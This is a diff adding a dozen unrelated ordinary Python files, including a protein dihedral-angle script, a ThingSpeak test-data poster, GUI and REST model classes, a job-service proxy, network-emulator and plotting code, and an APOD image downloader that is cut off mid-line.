diff --git a/pool/shard008/Python/0075157_calculate_angles.py b/pool/shard008/Python/0075157_calculate_angles.py new file mode 100644 index 0000000000000000000000000000000000000000..b0f7eea4bae9ed7279cac234055d70e3559ad8d4 --- /dev/null +++ b/pool/shard008/Python/0075157_calculate_angles.py @@ -0,0 +1,31 @@ +''' +Created on 25/9/2015 + +@author: victor +''' +import sys +import numpy +from prody.proteins.pdbfile import parsePDB +from prody.measure.measure import calcPhi, calcPsi + +if __name__ == '__main__': + trajectory_path = sys.argv[1] + + structure = parsePDB(trajectory_path) + all_angles = [] + for i, coords in enumerate(structure.getCoordsets()): + angles = [] + structure.setCoords(coords) + hv = structure.getHierView() + for residue in hv.iterResidues(): + try: + angles.append(calcPhi(residue, radian=True)) + except: + angles.append(0.) + try: + angles.append(calcPsi(residue, radian=True)) + except: + angles.append(0.) + all_angles.append(angles) + all_angles = numpy.array(all_angles) + numpy.savetxt(sys.argv[1]+".ang", all_angles, fmt = "%.4f") diff --git a/pool/shard008/Python/0075158_fakeData.py b/pool/shard008/Python/0075158_fakeData.py new file mode 100644 index 0000000000000000000000000000000000000000..363e23befd0b4a50db8c9dc65e6861eb5fa1c0e5 --- /dev/null +++ b/pool/shard008/Python/0075158_fakeData.py @@ -0,0 +1,32 @@ +__author__ = 'Ash' +import numpy as np +import time +import http.client, urllib.parse +from pprint import pprint + +API_KEY = "LZ3F1HB2ORCXOA9O" +n_spine = 8 +fields = list(map(lambda x: "field"+x, map(str, range(1, 9)))) +headers = {"Content-type": "application/x-www-form-urlencoded", + "Accept": "text/plain"} + +def main(): + period = np.arange(0, 2, 2/n_spine) * np.pi + while True: + for dt in period: + sensors = np.cos(period+dt)*5 + 25 + data = dict(zip(fields, sensors)) + data["key"] = API_KEY + params = urllib.parse.urlencode(data) + conn = http.client.HTTPConnection("api.thingspeak.com:80") + conn.request("POST", "/update", params, headers) + response = conn.getresponse() + print(response.status, response.reason) + #data = response.read() + conn.close() + time.sleep(15) + + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/pool/shard008/Python/0075159_hsvwheel.py b/pool/shard008/Python/0075159_hsvwheel.py new file mode 100644 index 0000000000000000000000000000000000000000..7675ad7f2904587775276a23f6e58a15fcbabb05 --- /dev/null +++ b/pool/shard008/Python/0075159_hsvwheel.py @@ -0,0 +1,131 @@ +# This file is part of MyPaint. +# Copyright (C) 2012 by Andrew Chadwick +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. + + +"""Hue, Saturation and Value wheel. +""" + +import math + +from gui import gtk2compat +import gtk +from gtk import gdk +import cairo +from gettext import gettext as _ + +from adjbases import ColorAdjusterWidget +from adjbases import HueSaturationWheelAdjuster +from sliders import HSVValueSlider +from uicolor import HSVColor +from util import clamp +from combined import CombinedAdjusterPage + + +class HSVHueSaturationWheel (HueSaturationWheelAdjuster): + """Hue, Saturation and Value wheel. + """ + + STATIC_TOOLTIP_TEXT = _("HSV Hue and Saturation") + + def __init__(self): + HueSaturationWheelAdjuster.__init__(self) + self.connect("scroll-event", self.__scroll_cb) + self.add_events(gdk.SCROLL_MASK) + + def __scroll_cb(self, widget, event): + d = self.SCROLL_DELTA + if event.direction in (gdk.SCROLL_DOWN, gdk.SCROLL_LEFT): + d *= -1 + col = HSVColor(color=self.get_managed_color()) + v = clamp(col.v+d, 0.0, 1.0) + if col.v != v: + col.v = v + self.set_managed_color(col) + return True + + def get_normalized_polar_pos_for_color(self, col): + col = HSVColor(color=col) + return col.s, col.h + + def color_at_normalized_polar_pos(self, r, theta): + col = HSVColor(color=self.get_managed_color()) + col.h = theta + col.s = r + return col + + +class HSVAdjusterPage (CombinedAdjusterPage): + """Page details for the HSV wheel. + """ + + def __init__(self): + table = gtk.Table(rows=1, columns=2) + + self.__v_adj = HSVValueSlider() + self.__v_adj.vertical = True + self.__hs_adj = HSVHueSaturationWheel() + + row = 0 + xopts = gtk.FILL | gtk.EXPAND + yopts = gtk.FILL | gtk.EXPAND + v_align = gtk.Alignment(xalign=1, yalign=0, xscale=0, yscale=1) + v_align.add(self.__v_adj) + table.attach(v_align, 0, 1, row, row+1, gtk.FILL, yopts, 3, 3) + table.attach(self.__hs_adj, 1, 2, row, row+1, xopts, yopts, 3, 3) + + self.__table = table + + @classmethod + def get_page_icon_name(self): + return 'mypaint-tool-hsvwheel' + + @classmethod + def get_page_title(self): + return _('HSV Wheel') + + @classmethod + def get_page_description(self): + return _("Saturation and Value color changer.") + + def get_page_widget(self): + frame = gtk.AspectFrame(obey_child=True) + frame.set_shadow_type(gtk.SHADOW_NONE) + frame.add(self.__table) + return frame + + def set_color_manager(self, manager): + CombinedAdjusterPage.set_color_manager(self, manager) + self.__v_adj.set_color_manager(manager) + self.__hs_adj.set_color_manager(manager) + + +if __name__ == '__main__': + import os + import sys + from adjbases import ColorManager + mgr = ColorManager(prefs={}, datapath='.') + if len(sys.argv) > 1: + # Generate icons + mgr.set_color(HSVColor(0.0, 0.0, 0.8)) + wheel = HSVHueSaturationWheel() + wheel.set_color_manager(mgr) + icon_name = HSVAdjusterPage.get_page_icon_name() + for dir_name in sys.argv[1:]: + wheel.save_icon_tree(dir_name, icon_name) + else: + # Interactive test + mgr.set_color(HSVColor(0.333, 0.6, 0.5)) + page = HSVAdjusterPage() + page.set_color_manager(mgr) + window = gtk.Window() + window.add(page.get_page_widget()) + window.set_title(os.path.basename(sys.argv[0])) + window.set_border_width(6) + window.connect("destroy", lambda *a: gtk.main_quit()) + window.show_all() + gtk.main() diff --git a/pool/shard008/Python/0075163_nuvpnconnection.py b/pool/shard008/Python/0075163_nuvpnconnection.py new file mode 100644 index 0000000000000000000000000000000000000000..bdca5bf073efdee0c60e9ac7f468e7f0ab3577a4 --- /dev/null +++ b/pool/shard008/Python/0075163_nuvpnconnection.py @@ -0,0 +1,258 @@ +# -*- coding: utf-8 -*- +# +# Copyright (c) 2015, Alcatel-Lucent Inc, 2017 Nokia +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + + +from .fetchers import NUMetadatasFetcher + + +from .fetchers import NUGlobalMetadatasFetcher + +from bambou import NURESTObject + + +class NUVPNConnection(NURESTObject): + """ Represents a VPNConnection in the VSD + + Notes: + Attaching this object to a WAN Service allows to extend its connectivity to and from external resources defined on your Data Center Edge Gateway. + """ + + __rest_name__ = "vpnconnection" + __resource_name__ = "vpnconnections" + + + ## Constants + + CONST_ENTITY_SCOPE_GLOBAL = "GLOBAL" + + CONST_ENTITY_SCOPE_ENTERPRISE = "ENTERPRISE" + + + + def __init__(self, **kwargs): + """ Initializes a VPNConnection instance + + Notes: + You can specify all parameters while calling this methods. + A special argument named `data` will enable you to load the + object from a Python dictionary + + Examples: + >>> vpnconnection = NUVPNConnection(id=u'xxxx-xxx-xxx-xxx', name=u'VPNConnection') + >>> vpnconnection = NUVPNConnection(data=my_dict) + """ + + super(NUVPNConnection, self).__init__() + + # Read/Write Attributes + + self._name = None + self._last_updated_by = None + self._description = None + self._entity_scope = None + self._associated_wan_service_id = None + self._external_id = None + + self.expose_attribute(local_name="name", remote_name="name", attribute_type=str, is_required=True, is_unique=False) + self.expose_attribute(local_name="last_updated_by", remote_name="lastUpdatedBy", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="description", remote_name="description", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="entity_scope", remote_name="entityScope", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL']) + self.expose_attribute(local_name="associated_wan_service_id", remote_name="associatedWANServiceID", attribute_type=str, is_required=False, is_unique=False) + self.expose_attribute(local_name="external_id", remote_name="externalID", attribute_type=str, is_required=False, is_unique=True) + + + # Fetchers + + + self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") + + + self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") + + + self._compute_args(**kwargs) + + # Properties + + @property + def name(self): + """ Get name value. + + Notes: + Name of the VPNConnect + + + """ + return self._name + + @name.setter + def name(self, value): + """ Set name value. + + Notes: + Name of the VPNConnect + + + """ + self._name = value + + + @property + def last_updated_by(self): + """ Get last_updated_by value. + + Notes: + ID of the user who last updated the object. + + + This attribute is named `lastUpdatedBy` in VSD API. + + """ + return self._last_updated_by + + @last_updated_by.setter + def last_updated_by(self, value): + """ Set last_updated_by value. + + Notes: + ID of the user who last updated the object. + + + This attribute is named `lastUpdatedBy` in VSD API. + + """ + self._last_updated_by = value + + + @property + def description(self): + """ Get description value. + + Notes: + A description of the VPNConnect + + + """ + return self._description + + @description.setter + def description(self, value): + """ Set description value. + + Notes: + A description of the VPNConnect + + + """ + self._description = value + + + @property + def entity_scope(self): + """ Get entity_scope value. + + Notes: + Specify if scope of entity is Data center or Enterprise level + + + This attribute is named `entityScope` in VSD API. + + """ + return self._entity_scope + + @entity_scope.setter + def entity_scope(self, value): + """ Set entity_scope value. + + Notes: + Specify if scope of entity is Data center or Enterprise level + + + This attribute is named `entityScope` in VSD API. + + """ + self._entity_scope = value + + + @property + def associated_wan_service_id(self): + """ Get associated_wan_service_id value. + + Notes: + Assosciated WAN Service + + + This attribute is named `associatedWANServiceID` in VSD API. + + """ + return self._associated_wan_service_id + + @associated_wan_service_id.setter + def associated_wan_service_id(self, value): + """ Set associated_wan_service_id value. + + Notes: + Assosciated WAN Service + + + This attribute is named `associatedWANServiceID` in VSD API. + + """ + self._associated_wan_service_id = value + + + @property + def external_id(self): + """ Get external_id value. + + Notes: + External object ID. Used for integration with third party systems + + + This attribute is named `externalID` in VSD API. + + """ + return self._external_id + + @external_id.setter + def external_id(self, value): + """ Set external_id value. + + Notes: + External object ID. Used for integration with third party systems + + + This attribute is named `externalID` in VSD API. + + """ + self._external_id = value + + + + \ No newline at end of file diff --git a/pool/shard008/Python/0075164_impl.py b/pool/shard008/Python/0075164_impl.py new file mode 100644 index 0000000000000000000000000000000000000000..f8259599ce676797c2053f01a5371c82d1fdaf15 --- /dev/null +++ b/pool/shard008/Python/0075164_impl.py @@ -0,0 +1,141 @@ +#BEGIN_HEADER +from biokbase.userandjobstate.client import UserAndJobState +from biokbase.narrativejobproxy.NarrativeJobServiceClient import NarrativeJobService +import time +#END_HEADER + + +class NarrativeJobProxy: + ''' + Module Name: + NarrativeJobProxy + + Module Description: + Very simple proxy that reauthenticates requests to the user_and_job_state +service as the narrative user. + +DO NOT DEPLOY PUBLICALLY + ''' + + ######## WARNING FOR GEVENT USERS ####### + # Since asynchronous IO can lead to methods - even the same method - + # interrupting each other, you must be *very* careful when using global + # state. A method could easily clobber the state set by another while + # the latter method is running. + ######################################### + #BEGIN_CLASS_HEADER + UPDATE_TOKEN_INTERVAL = 24 * 60 * 60 # 1 day in sec +# UPDATE_TOKEN_INTERVAL = 10 + + def _update_token(self): + if self._updating: + return + if (time.time() - self._updated_at < self.UPDATE_TOKEN_INTERVAL): + return + self._updating = True + print('Updating token at ' + str(time.time())) + try: + self._ujs = UserAndJobState(self._url, user_id=self._user, + password=self._pwd) + self._njs = NarrativeJobService(self._njs_url, user_id=self._user, + password=self._pwd) + self._updated_at = time.time() + finally: # otherwise token will never be updated + self._updating = False + + #END_CLASS_HEADER + + # config contains contents of config file in a hash or None if it couldn't + # be found + def __init__(self, config): + #BEGIN_CONSTRUCTOR + self._user = config.get('narrative_user') + self._pwd = config.get('narrative_user_pwd') + if not self._user or not self._pwd: + raise ValueError( + 'narrative user and/or narrative pwd missing from deploy.cfg') + self._url = config.get('ujs_url') + if not self._url: + raise ValueError('UJS url missing from deploy.cfg') + self._njs_url = config.get('njs_url') + if not self._njs_url: + raise ValueError('NJS url missing from deploy.cfg') + self._updated_at = - self.UPDATE_TOKEN_INTERVAL + self._updating = False + self._update_token() + #END_CONSTRUCTOR + pass + + def ver(self, ctx): + # ctx is the context object + # return variables are: ver + #BEGIN ver + ver = '0.0.2' + #END ver + + # At some point might do deeper type checking... + if not isinstance(ver, basestring): + raise ValueError('Method ver return value ' + + 'ver is not type basestring as required.') + # return the results + return [ver] + + def get_detailed_error(self, ctx, job): + # ctx is the context object + # return variables are: error + #BEGIN get_detailed_error + self._update_token() + error = self._ujs.get_detailed_error(job) + #END get_detailed_error + + # At some point might do deeper type checking... + if not isinstance(error, basestring): + raise ValueError('Method get_detailed_error return value ' + + 'error is not type basestring as required.') + # return the results + return [error] + + def get_job_info(self, ctx, job): + # ctx is the context object + # return variables are: info + #BEGIN get_job_info + self._update_token() + info = self._ujs.get_job_info(job) + #END get_job_info + + # At some point might do deeper type checking... + if not isinstance(info, list): + raise ValueError('Method get_job_info return value ' + + 'info is not type list as required.') + # return the results + return [info] + + def check_app_state(self, ctx, job_id): + # ctx is the context object + # return variables are: returnVal + #BEGIN check_app_state + self._update_token() + returnVal = self._njs.check_app_state(job_id) + #END check_app_state + + # At some point might do deeper type checking... + if not isinstance(returnVal, dict): + raise ValueError('Method check_app_state return value ' + + 'returnVal is not type dict as required.') + # return the results + return [returnVal] + + def get_job_logs(self, ctx, params): + # ctx is the context object + # return variables are: returnVal + #BEGIN get_job_logs + self._update_token() + returnVal = self._njs.get_job_logs(params) + #END get_job_logs + + # At some point might do deeper type checking... + if not isinstance(returnVal, dict): + raise ValueError('Method get_job_logs return value ' + + 'returnVal is not type dict as required.') + # return the results + return [returnVal] diff --git a/pool/shard008/Python/0075165_io_context.py b/pool/shard008/Python/0075165_io_context.py new file mode 100644 index 0000000000000000000000000000000000000000..46a22cc2cb894e835337dabff5d564e4e0a73361 --- /dev/null +++ b/pool/shard008/Python/0075165_io_context.py @@ -0,0 +1,64 @@ +import os +from typing import Optional, TYPE_CHECKING + +from ray.rllib.utils.annotations import PublicAPI +from ray.rllib.utils.typing import TrainerConfigDict + +if TYPE_CHECKING: + from ray.rllib.evaluation.sampler import SamplerInput + from ray.rllib.evaluation.rollout_worker import RolloutWorker + + +@PublicAPI +class IOContext: + """Class containing attributes to pass to input/output class constructors. + + RLlib auto-sets these attributes when constructing input/output classes, + such as InputReaders and OutputWriters. + """ + + @PublicAPI + def __init__( + self, + log_dir: Optional[str] = None, + config: Optional[TrainerConfigDict] = None, + worker_index: int = 0, + worker: Optional["RolloutWorker"] = None, + ): + """Initializes a IOContext object. + + Args: + log_dir: The logging directory to read from/write to. + config: The Trainer's main config dict. + worker_index (int): When there are multiple workers created, this + uniquely identifies the current worker. 0 for the local + worker, >0 for any of the remote workers. + worker: The RolloutWorker object reference. + """ + self.log_dir = log_dir or os.getcwd() + self.config = config or {} + self.worker_index = worker_index + self.worker = worker + + @PublicAPI + def default_sampler_input(self) -> Optional["SamplerInput"]: + """Returns the RolloutWorker's SamplerInput object, if any. + + Returns None if the RolloutWorker has no SamplerInput. Note that local + workers in case there are also one or more remote workers by default + do not create a SamplerInput object. + + Returns: + The RolloutWorkers' SamplerInput object or None if none exists. + """ + return self.worker.sampler + + @PublicAPI + @property + def input_config(self): + return self.config.get("input_config", {}) + + @PublicAPI + @property + def output_config(self): + return self.config.get("output_config", {}) diff --git a/pool/shard008/Python/0075167_dummyActuator.py b/pool/shard008/Python/0075167_dummyActuator.py new file mode 100644 index 0000000000000000000000000000000000000000..3a1441d10501d0dd7e0c5e5a8d8118bf0ad98e4d --- /dev/null +++ b/pool/shard008/Python/0075167_dummyActuator.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +""" +========================================= +dummyActuator.py - Dummy Actuator Handler +========================================= + +Does nothing more than print the actuator name and state; for testing purposes. +""" + +import subprocess, os, time, socket +import sys + +class actuatorHandler: + def __init__(self, proj, shared_data): + self.proj = proj + self.p_gui = None + + def _stop(self): + if self.p_gui is not None: + print >>sys.__stderr__, "(SENS) Killing dummyactuator GUI..." + try: + self.p_gui.stdin.write(":QUIT\n") + self.p_gui.stdin.close() + except IOError: + # Probably already closed by user + pass + + def setActuator(self, name, actuatorVal,initial): + """ + Pretends to set actuator of name ``name`` to be in state ``val`` (bool). + + name (string): Name of the actuator + """ + + if initial: + if self.p_gui is None: + # Prepare to receive initialization signal + host = 'localhost' + port = 23559 + buf = 1024 + addr = (host,port) + + UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) + UDPSock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + UDPSock.bind(addr) + except: + print "ERROR: Cannot bind to port. Try killing all Python processes and trying again." + return + + # Create a subprocess + print "(SENS) Starting actuatorHandler window..." + self.p_gui = subprocess.Popen(["python", "-u", os.path.join(self.proj.ltlmop_root,"lib","handlers","share","_ActuatorHandler.py")], stderr=subprocess.PIPE, stdin=subprocess.PIPE) + + data = '' + while "Hello!" not in data: + # Wait for and receive a message from the subwindow + try: + data,addrFrom = UDPSock.recvfrom(1024) + except socket.timeout: + print "Waiting for GUI..." + continue + + UDPSock.close() + + self.p_gui.stdin.write(name + ",init\n") + else: + if actuatorVal: + time.sleep(0.1) # Fake some time lag for the actuator to enable + + self.p_gui.stdin.write("{},{}\n".format(name,int(actuatorVal))) + + print "(ACT) Actuator %s is now %s!" % tuple(map(str, (name, actuatorVal))) + diff --git a/pool/shard008/Python/0075169_db.py b/pool/shard008/Python/0075169_db.py new file mode 100644 index 0000000000000000000000000000000000000000..4d21328b054a7de78079a8ef3c19e3434d01ba56 --- /dev/null +++ b/pool/shard008/Python/0075169_db.py @@ -0,0 +1,73 @@ + +from pathlib import Path +import sqlite3 +import sys + +import suxsom.sux + +class DB(): + def __init__(self, path=None): + if path is None: + path = self.default_path() + + self.conn = sqlite3.connect(path) + + def default_path(self): + return "suxsom.db" + + def create_tables(self, d=None): + if d is None: + d=Path("SCHEMA") + for f in d.glob("*.sql"): + table = f.stem + print(f"creating table {table}", file=sys.stderr) + sql = f.read_text() + self.conn.execute(sql) + + def find_sux_by_id(self, id): + c = self.conn.cursor() + c.execute("select * from sux where id = ?", (id, )) + rec = c.fetchone() + if rec is None: + return None + from pprint import pprint + pprint(rec) + + def find_sux_by_name(self, owner, name): + c = self.conn.cursor() + c.execute("select * from sux where owner = ? and name = ?", (owner, name)) + rec = c.fetchone() + if rec is None: + return None + o = suxsom.sux.sux(name, owner) + o.from_rec(rec) + return o + + def save_sux(self, o): + o.set_last_modified() + if o.id is None: + print("creating sux") + self.conn.execute(""" + insert into sux(name, owner, last_modified) + values (?, ?, ?) + """, (o.name, o.owner, o.last_modified)) + c = self.conn.cursor() + c.execute(""" + select id from sux + where name = ? and owner = ? + """, (o.name, o.owner)) + o.id, = c.fetchone() + self.conn.commit() + + # now the sux has an ID + self.conn.execute(""" + update sux set name = ?, owner = ?, last_modified = ? + where id = ? + """, (o.name, o.owner, o.last_modified, o.id)) + self.save_sux_metadata(o) + self.conn.commit() + + return o.id + + def save_sux_metadata(self, o): + pass diff --git a/pool/shard008/Python/0075172_updateloginprofile.py b/pool/shard008/Python/0075172_updateloginprofile.py new file mode 100644 index 0000000000000000000000000000000000000000..e2f72d61578c24f0399e2005ed56dd78eefb38db --- /dev/null +++ b/pool/shard008/Python/0075172_updateloginprofile.py @@ -0,0 +1,45 @@ +# Copyright 2009-2013 Eucalyptus Systems, Inc. +# +# Redistribution and use of this software in source and binary forms, +# with or without modification, are permitted provided that the following +# conditions are met: +# +# Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +from euca2ools.commands.iam import IAMRequest, AS_ACCOUNT +from euca2ools.util import prompt_for_password +from requestbuilder import Arg + + +class UpdateLoginProfile(IAMRequest): + DESCRIPTION = "Update a user's password" + ARGS = [Arg('-u', '--user-name', dest='UserName', metavar='USER', + required=True, + help='name of the user to change a password for (required)'), + Arg('-p', '--password', dest='Password', + help='''the new password. If unspecified, the new password + will be read from the console.'''), + AS_ACCOUNT] + + def configure(self): + IAMRequest.configure(self) + if self.args['Password'] is None: + self.log.info('no password supplied; prompting') + self.params['Password'] = prompt_for_password() diff --git a/pool/shard008/Python/0075173_bridge.py b/pool/shard008/Python/0075173_bridge.py new file mode 100644 index 0000000000000000000000000000000000000000..7dc4e31b24ae56fe15c96016e52ebcf5c608576a --- /dev/null +++ b/pool/shard008/Python/0075173_bridge.py @@ -0,0 +1,108 @@ +# -*- coding: utf-8 -*- +# +# Copyright (C) 2013 GNS3 Technologies Inc. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +""" +Interface for Dynamips NIO bridge module ("nio_bridge"). +http://github.com/GNS3/dynamips/blob/master/README.hypervisor#L538 +""" + +import asyncio +from .device import Device + + +class Bridge(Device): + + """ + Dynamips bridge. + + :param name: name for this bridge + :param node_id: Node instance identifier + :param project: Project instance + :param manager: Parent VM Manager + :param hypervisor: Dynamips hypervisor instance + """ + + def __init__(self, name, node_id, project, manager, hypervisor=None): + + super().__init__(name, node_id, project, manager, hypervisor) + self._nios = [] + + @asyncio.coroutine + def create(self): + + if self._hypervisor is None: + module_workdir = self.project.module_working_directory(self.manager.module_name.lower()) + self._hypervisor = yield from self.manager.start_new_hypervisor(working_dir=module_workdir) + + yield from self._hypervisor.send('nio_bridge create "{}"'.format(self._name)) + self._hypervisor.devices.append(self) + + @asyncio.coroutine + def set_name(self, new_name): + """ + Renames this bridge. + + :param new_name: New name for this bridge + """ + + yield from self._hypervisor.send('nio_bridge rename "{name}" "{new_name}"'.format(name=self._name, + new_name=new_name)) + + self._name = new_name + + @property + def nios(self): + """ + Returns all the NIOs member of this bridge. + + :returns: nio list + """ + + return self._nios + + @asyncio.coroutine + def delete(self): + """ + Deletes this bridge. + """ + + if self._hypervisor and self in self._hypervisor.devices: + self._hypervisor.devices.remove(self) + if self._hypervisor and not self._hypervisor.devices: + yield from self._hypervisor.send('nio_bridge delete "{}"'.format(self._name)) + + @asyncio.coroutine + def add_nio(self, nio): + """ + Adds a NIO as new port on this bridge. + + :param nio: NIO instance to add + """ + + yield from self._hypervisor.send('nio_bridge add_nio "{name}" {nio}'.format(name=self._name, nio=nio)) + self._nios.append(nio) + + @asyncio.coroutine + def remove_nio(self, nio): + """ + Removes the specified NIO as member of this bridge. + + :param nio: NIO instance to remove + """ + + yield from self._hypervisor.send('nio_bridge remove_nio "{name}" {nio}'.format(name=self._name, nio=nio)) + self._nios.remove(nio) diff --git a/pool/shard008/Python/0075174_plot.py b/pool/shard008/Python/0075174_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..b1122da79a4e857bf89ae5b57768b0d16287141a --- /dev/null +++ b/pool/shard008/Python/0075174_plot.py @@ -0,0 +1,44 @@ +from __future__ import division +import sys +from matplotlib.pyplot import * +import numpy + +def main(filename, outfilename): + data = numpy.genfromtxt(filename) + + # plot the graph and save it + if filename == 'figure-1-data.txt': + suptitle('Memory allocated (log/log plot)') + ylabel('bytes of memory allocated') + elif filename == 'figure-2-data.txt': + suptitle('Memory written (log/log plot)') + ylabel('bytes of memory written') + xlabel('number of entries') + + index = data[:,0] + series1 = data[:,1] + series2 = data[:,2] + series3 = data[:,3] + loglog(index, series1, '-', color='#cccccc', label='dense_hash_map (open addressing)') + loglog(index, series2, 'b-', label='open addressing') + loglog(index, series3, 'r-', label='Close table') + legend(loc='upper left') + savefig(outfilename, format='png') + + # compute and print summary information about which is bigger + r1 = [] + r2 = [] + for i, _, s1, s2 in data: + if s1 > s2: + r1.append(s1/s2) + else: + r2.append(s2/s1) + + r1avg = sum(r1)/len(r1) - 1 if len(r1) else 0 + r2avg = sum(r2)/len(r2) - 1 if len(r2) else 0 + r1f = len(r1)/len(data) + r2f = len(r2)/len(data) + print("Implementation 1 takes up more space {:.1%} of the time, by {:.1%}".format(r1f, r1avg)) + print("Implementation 2 takes up more space {:.1%} of the time, by {:.1%}".format(r2f, r2avg)) + +main(sys.argv[1], sys.argv[2]) diff --git a/pool/shard008/Python/0075176_apod.py b/pool/shard008/Python/0075176_apod.py new file mode 100644 index 0000000000000000000000000000000000000000..8af51522ffe2d1e2dbd9c7aae29ab985a4acede3 --- /dev/null +++ b/pool/shard008/Python/0075176_apod.py @@ -0,0 +1,153 @@ +import sys +try: + import urllib2 +except: + print "[APOD] Install latest version of python2.7" + sys.exit() + +try: + from bs4 import BeautifulSoup as bs +except: + print "[APOD] BeautifulSoup package required" + print "[APOD] please Install BeautifulSoup" + print "Go to https://pypi.python.org/pypi/beautifulsoup4" + sys.exit() + +from time import strftime, time + +from utils.Error_codes import Error_codes + + + +class APOD_Downloader(): + def __init__(self, error_codes): + self.BASE_URL = "http://apod.it" + self.error_codes = error_codes + + def get_apod_url(self): + img = strftime("%y%m%d") + img_url = self.BASE_URL + "/" + img + return img_url + + def get_image_url(self, img_url): + try: + req = urllib2.urlopen(img_url) + + except urllib2.HTTPError, e: + print "[APOD] Failed to connect", e.getcode() + print "[APOD]",self.error_codes.error_code_status(e.getcode()) + print "[APOD]", "Exiting..." + return selferror_codes.err["HTTPERR"] + + except urllib2.URLError, e: + print "[APOD]", e.args[0] + print "[APOD]", "Internet Connection not working" + print "[APOD]", "Exiting..." + return self.error_codes.err["URLERR"] + + # Reading the page source of the apod.nasa.gov page + page_html = req.read() + soup = bs(page_html, "html.parser") + + images = soup.find_all("a") + + # The second link is the image location + # for the higest resolution version + try: + image_location = images[1].get("href") + except: + return self.error_codes.err["NOIMG"] + + # Sample Image location + # http://apod.nasa.gov/apod/image/1602/HeartCloud_Kunze_4650.jpg + + full_res_image_url = "http://apod.nasa.gov/" + image_location + return full_res_image_url + + def download_image(self, url): + file_name = url.split('/')[-1] + try: + u = urllib2.urlopen(url) + meta = u.info() + # meta info + # Server: WebServer/1.0 + # Last-Modified: Sat, 13 Feb 2016 00:00:31 GMT + # ETag: "13b612a-fef4a-52b9b78d985c0" + # Accept-Ranges: bytes + # Keep-Alive: timeout=5, max=100 + # Content-Type: image/jpeg + # Connection: close + # Date: Sun, 14 Feb 2016 12:33:23 GMT + # Age: 3378 + # Content-Length: 1044298 + file_size = int(meta.getheaders("Content-length")[0]) + file_type = meta.getheaders("Content-Type")[0] + + if (file_type != "image/jpeg"): + print "[APOD]", "The content hosted on apod.nasa.gov is not an image" + return self.error_codes.err["NOIMG"] + # Block size of each download packet is kept 4 KB + block_sz = 4096 + + # Stores the total file downloaded + file_dl = 0 + + #stating time of download + start_time = time() + running_time = start_time + + # file name is same as the name of the image in the apod link + f = open(file_name, "wb") + + while True: + buffer = u.read(block_sz) + if not buffer: + break + file_dl += len(buffer) + f.write(buffer) + curr_time = time() + if (curr_time - running_time >= 0.25): + print "[APOD] Downloaded %.2f KB of %.2f KB \r" %(file_dl / 1024.0, file_size / 1024.0), + running_time = curr_time + end_time = time() + f.close() + print + + try: + # checking if the total size of the file downloaded and the actual size of the file + # are same or not, it not an assertion error is raised and the program exits + assert file_dl == file_size + except AssertionError: + print "[APOD]", "File download incomplete or 